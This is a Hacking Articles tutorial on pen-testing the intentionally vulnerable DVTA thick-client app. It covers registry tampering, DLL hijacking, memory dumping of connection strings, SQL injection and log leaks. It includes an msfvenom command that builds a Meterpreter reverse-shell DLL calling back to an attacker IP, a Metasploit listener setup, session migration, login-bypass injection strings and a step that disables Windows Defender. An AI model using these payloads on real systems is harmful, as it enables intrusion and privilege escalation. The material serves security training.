In the previous article, we have seen some methods to Analyze the Traffic of Thick Client Applications specifically in DVTA.

You can take a look at that article by browsing this link: – https://www.hackingarticles.in/thick-client-penetration-testing-traffic-analysis/

In this article, we will perform some attacks to pen-test the application.

Table of Content

• Prerequisites
• Privilege Escalation
• DLL Hijacking
• Dumping connection string from memory
• SQL Injection
• Side Channel Data Leak
• Forensic Investigation: – Unreliable logs

Prerequisites

• Attacker machine: – Kali Linux
• Regshot: – For Privilege Escalation
• Process Hacker: – To dump the memory strings
• Procmon from Sysinternal suite

Privilege Escalation

Regshot is a great open-source registry compare utility that you can use to compare the number of registry entries or installing a new software product. So that you can easily take a snapshot of your registry and then compare it with a second. Let us see how we can use Regshot to figure out what modifications are done to the registry entries after running our application.

First of all download the Regshot application go going to the official site or you can directly download it from here: – https://sourceforge.net/projects/regshot/files/latest/download

Download and extract It into your system and open up 32 version of regshot

After opening up the application choose the HTML document and take the 1^st shot. So this should take a snapshot of all the registries entries.

Once 1^st shot is done open up the DVTA application and explores the application a bit by logging in to one of the user accounts and taking the profile information. After that we will take the second shot to observe the difference between the registry entries before running the application and registry entries after running the application.

Detecting Registry Changes After Running DVTA

Let’s open up the DVTA application and log in as Vijay or another user that you have created.

And then explore the application such as by clicking on View Profile or by checking expenses.

Now, let’s take a second shot to see what registries entries have been modified.

Ok, great 2^nd shot also has been taken, let’s compare both of the entries.

It will show you an HTML file with all the differences between the 1^st shot and 2^nd shot. It will show you lots of entries. To make it easier to search for DVTA. When you apply the find filter it will show you some DVTA related entries. If you notice these are the registries entries that are modified while the application was running probably when we have logged in to the application at that time the DVTA application might have saved these values.

You can see that initially, the user name was “null” after running the application the value Vijay was added to this registry entry. Similarly, initially, the password was null, and “Vijay” was added after running the application. Basically, after logging in as Vijay the user name password was saved into the registry’s entries. Similarly, null has been replaced by “vijay@test.com” for the Email entries and is logged in made “True” from false as shown below.

Privilege Escalation by Modifying Registry Values

This brings us to perform an interesting attack. To do this open up this particular registry entry into the registry editor as shown below. As we can see there the value of IsLoggedIn is true. So we can make use of this feature to log in as somebody else by changing the user name to Paras or whatever you want.

Let’s see you can login or not into the DVTA application by using these registries entries. If the password is also going to verify by the client application you won’t be able to log in as paras. But if there are no checks made by the application to verify the password of the currently logged-in user account.

So, let’s quickly check that we’re able to log in as paras or not.

As we can see we have successfully able to log in as paras just by tempering the registry entry. If you look at the view profile it is still showing Vijay’s Email ID because we didn’t modify that.

Now we’re also able to communicate with the database by submitting expenses here. All you need to do is to go to Add Expanses then create an expense and save it as shown below. After saving it the data will be stored in the database.

You can also verify whether the data is successfully stored in the database or not. As you can see in the below image, we can retrieve data from the database successfully.

This is how applications can make use of registry entries to save sensitive data and if attackers can find them, they can use them for different types of attacks.

DLL Hijacking

DLL Hijacking is one of the commonly seen vulnerabilities. Now we have a question moving around is what is DLL. DLL stands for Dynamic Link Library.

DLL files usually hold executable code that can be stored in different files and are loaded into RAM or invoked when the related code is required. When an application executes and use this DLL file and if the accurate path is not provided the application has to search for this DLL. The Windows operating system sets the path for DLL using global environmental variables. If an attacker manages to replace this library or DLL with his own DLL that has the same name as the one the target application is looking for, it may load the attacker’s DLL instead of the library that the application is looking for, and it may execute the malicious code placed by the attacker in the DLL file, which is known as DLL Hijacking.

To better understand DLL Hijacking we must understand how windows application find their DLL files when the full path is not provided.

Now the question is how do we find if an application is vulnerable to DLL Hijacking.

Testing DVTA for DLL Hijacking with Procmon

Let’s test that with our DVTA application but before we proceed with that these are their assumptions. Let’s assume, we have an initial foothold on the target machine with low admin. So we can easily manage to gain a shell on a windows machine where DVTA is running. But the problem is we got the access of windows with low privileges and we don’t have admin access. But we have found an application DVTA running with admin privileges. Now If this application is vulnerable to DLL Hijacking and we can exploit it then there is the highest probability that we will elevate our privileges to an administrator. Let’s do this

Firstly, open “Procmon” from the Sysinternal suite

By opening procmon, it loads entries associate with all the processes. To reduce all the processes so let’s quickly apply a filter so that we will only see the data that we are interested in. To apply the filter, navigate to filter and apply the filter as shown below

• The process name is DVTA.exe
• The path ends with dll
• The result ends with NAME NOT FOUND

So that you are going to see only the process related to DVTA.exe

After applying the filter, quickly open the DVTA.exe and login into the application

We are basically finding out it is vulnerable to DLL hijacking or not. After log in to the application you can see a couple of entries were created in the procmon related to DVTA.exe. As you can see there it loaded two dll one is DWrite.dll another is SECUR32.DLL so basically, there are two DLL that are potentially usable for this attack.

Exploiting DLL Hijacking with Meterpreter Reverse Shell

Now the question is to check these two DLL are useable for us or not. To do this let’s go ahead and create a malicious DLL that gives a reverse shell.

To create malicious DLL open the Kali Linux and create a malicious DLL using msfvenom as shown below

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -f dll > DWrite.dll

Then after moving this file to webroot so that we can download the DLL file In the victim machine by typing

cp DWrite.dll /var/www/html

and then start the apache service by typing

service apache2 start

Let’s download these DLL files into the windows machine. However, there is a problem these files will be flagged as a virus, and windows defender will not allow you to download them. So we will have to disable windows defender for a while.

Now you good to download the DLL file by navigating to 192.168.0.108 in your browser

Now navigate to the Downloads folder and copy the Dwrite.dll file

And place it in the directory of the DVTA application

Setting Up the Listener and Triggering the Attack

Now come back to Kali Linux and setup Metasploit listener with the meterpreter payload. To do this type the following command

msfconsole

After opening up the msfconsole run the following command

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.108
set LPORT 4444
exploit

Now, it should give us a shell when the DLL file is executed by the DVTA application. To do this go back to the windows machine and assume as an attacker….that you have placed a malicious file in the directory of the DVTA application and you will have to wait for the administrator to restart the DVTA application from its directory.

So, now in this case we have to assume that the administrator came in and he opened the DVTA application. Here must remember one thing when the administrator tries to run the application is not going to open just due to that wrong DLL file that terminates the execution of the DVTA application. Now come back to the Kali Linux machine and where you can see we got a meterpreter shell

Gaining Access and Migrating the Session

But when the administrator tries to run the application that application will not be loaded so, maybe he tries to kill the process. To prevent from losing the shell let’s just quickly migrate to the stable process by running the following command

ps

Now quickly find a stable process according to your environment here I’m migrating to the process of explorer.exe

You can see there each process have their process ID. To migrate another process like explorer.exe run the below command in my case I’m migrating to process ID 8036 explorer.exe

migrate 8036

After running this command migration will be completed successfully. Even the administrator goes to the task manager and kills the process of DVTA application just because the application was not loaded. Your session is not going to end, also you can verify it by running the following command

getuid

This is how we can exploit DLL hijacking vulnerability in Thick Client Applications.

Dumping connection string from memory

As we have already seen two types of data storage issues in thick client applications one is storing sensitive data in registry entries and another one is hardcoded credentials. Now we are going to see another type of data storage issue that predominantly affects the 2-tier application that involves finding database connection strings in memory. There are two scenarios to find these database connection strings.

Scenario 1

• A Clear text connection string may be hardcoded in the client application. So if you can somehow decompile the application or if you can find the strings in the application you may be able to identify this connection string.
• When the application makes a database connection that connection string has to be in memory so if you can dump the memory while the application is running it is highly likely that you will find the database connection string.

Scenario 2

• A lot of applications hardcode the database connection string however they encrypt it. So, an attacker who decompiles the application can find the hard-coded string but it is not useable to connect to the database.
• in this scenario when you run the application the application needs to decrypt the encrypted connection string and that decrypted connection string will be seen in memory.

In both cases, if we can dump the memory of the process, we should be able to find the clear text connection string in memory. When it comes to the DVTA application it comes under scenario 2. It contains a hard-coded connection string but the connection string is encrypted but when the application is being run it has to decrypt the encrypted connection string to be able to communicate with the database.

Dumping Memory Using Process Hacker

Let’s see how we can dump the memory of a specific process. There are multiple ways are present to do this but we are going to use a tool called process hacker.

You can download the process hacker tool by searching It on the web or you can download it directly from here.

Process hacker: – https://processhacker.sourceforge.io/downloads.php

We are going to download the portable binary here

Download and extract it on your working directory. We are going to use a 64bit version of this tool which is x64 but before that open up the DVTA application and log in to the application.

Now, since we have connected to Vijay’s account this application has made some communication with the database so let’s run the Process hacker.

As we can see there are lots of processes. Let’s look for DVTA.exe because DVTA is running on another tab so we should be able to find it here as shown in the below image.

Give a double click to the entry of DVTA.exe and then open its properties.

After that go to the memory

Click on the strings and then choose “image” and “mapped”.

Further, then it should find all the strings in the memory of this process. Now as you can see this is a very long list for us to search through. So, what we will do is quickly apply a filter with something very common in the database connection strings. So we will apply the filter with the keyword of “Data source” typically database connection strings contain this word data source.

After applying the filter, you can see a bunch of entries. As you can see there are multiple database connection strings with the decrypted password inside

Now copy that entry and paste it on the notepad. As you can see this is the connection string that contains the “user Id” and the “decrypted password”.

Using Extracted Credentials to Access the Database

Now let’s see how we can make use of this particular database connection string as an attacker to connect to the database. We are going to use “SQL Server Management Studio”. Assume that we are connecting as an attacker so we need to use SQL Server authentication and from the database connection string we found that server IP address which is “localhost\SQLEXPRESS” and “password is p@ssw0rd”.

As you can see we are connected to the Database. Now we can dump sensitive data from the database or we can explore the database like tables or we can do whatever we want as an attacker.

Conclusion: –

This is how we’ve extracted the database connection string from the memory. As I have already mentioned DVTA application uses an encrypted hardcoded connection string.

Sql Injection

This is also one of the commonly seen vulnerabilities in the thick client application is SQL injection. Damn Vulnerable Thick Client application is also affected by SQL injection.

Let’s see how this attack works.

Executing SQL Injection in DVTA Application

Without wasting the time let’s quickly open up the DVTA application and that log screen has SQL injection Vulnerability.

Open up the notepad and let’s try SQL injection. This is traditionally how vulnerable queries are written.

select * from username='x' or 'x'='x' and password='x' or 'x'='x' ;

“We are going to use x or x = x and this will confuse the database in a way that it thinks that the query is requesting to check for username = x or x = x obviously x = x is always true and this will return true” and this condition also remain same for the password field.

Let’s try to enter this into the user name and password fields and see it works or not.

Hurray!!! As we can see we are logged in as “sa” which is a privileged account. Now we are logged In as some account but using SQL injection we can choose which user we want to login as.

So, let’s logout and change this particular string to something like this.

raj' or 'x'='y

as we assumed that we know the username

Let’s copy the previous string and enter it into the field of username and password.

As we can see now, we are logged In as raj

Let’s say you want to login as an admin all you need to change the name raj to admin and then enter that string in the field of username and password so that similarly you can log in as admin.

This is how we can make use of SQL injection in any application.

Why Reporting SQL Injection Still Matters

Now you might be wondering we already have full access to the database why do we have to rely on SQL injection to log in as someone. The answer is there may be cases where the password is encrypted in the database and you want to log in as a specific user. That’s the first case, another case is a pentester you always want to tell the developers what the problems are because even though it’s a 2-tier application. Today they may migrate the 3-tier architecture application and if they leave this vulnerable code even in 3-tier architecture that will be a serious problem. So it’s always good to report this kind of problem to do all of us.

Side Channel Data Leaks

This is another interesting security issue that we may come across during Thick Client application penetration testing is Side Channel Data Leaks.

I know which question is moving around in your head that what is Side Channel Data Leak?

Application logging is one of the best examples of Side Channel Data Leaks. Developers often use logging for debugging purposes during development.

Developers may write and debug logs into the console or some sort of file on the disk. When the application is moved into production if these debug logs are not removed from the application it can cause a security risk.

Demonstrating Logging Vulnerabilities in DVTA

Let’s check out the DVTA application to see if it is writing anything sensitive into console logs.

To do this firstly open up the CMD (command prompt) and navigate to the directory of modified DVTA application and let’s run this application by typing

“DVTA.exe> and the destination of the directory to save the log file\log.txt”

This is the output of this particular console application. This command will open the DVTA application and then log in to the application as shown below.

After login to the application click on the view expanses and then click on the view profile and then logout.

Further, then login to different accounts such as raj and then explore the application and the logout.

Similarly, login as an admin user and click on Backup data to FTP Server.

Basically, we are just browsing through the application to create some logs. As you can see this will create a log file on the desktop

Open up that file using notepad and there you can lot of interesting stuff such as Decrypted Database password, Database Connection String and SQL queries …etc

Risks of Excessive Logging in Production

Lots of interesting stuff is right there and obviously just using these logs we will be able to compromise the entire database because we have the database connection string and we can log in to the database using these logs. 

This is why excessive logging in a production application is dangerous.

Forensic Investigation: – Unreliable logs

This is the common issue that we come across when testing the thick client application, which tampers with client site data that can be used for forensic investigation.

For example, your application takes some time stamps from the client machine and saves them in the database for investigation purposes in the future. If there are any incidents and if they want to check the timestamps of the client’s actions. They can use this data collected from the client.

However, if the client tempers this client-side data and if the server does not validate it further. It can create unreliable logs on the server-side.

Let’s see how it can be tested in the DVTA application. To do this open up the DVTA application and log in as Vijay and then Add some expenses as shown below.

Also, we can view expenses so they will retrieve the data from the database. And if you notice the time is automatically taken from the system. What if the user change this time from 1:31 am to 2:30pm. Obviously this will result in incorrect unreliable logs on the server-side.

We may want to report this issue if any client-side artifacts are collecting for forensic purposes. So, this is how we can pentest Thick Client Applications. In the next article, we will talk about Reversing and patching the application.

Author – Vijay is a Certified Ethical Hacker, Technical writer and Penetration Tester at Hacking Articles. Technology and Gadget freak. Contact Here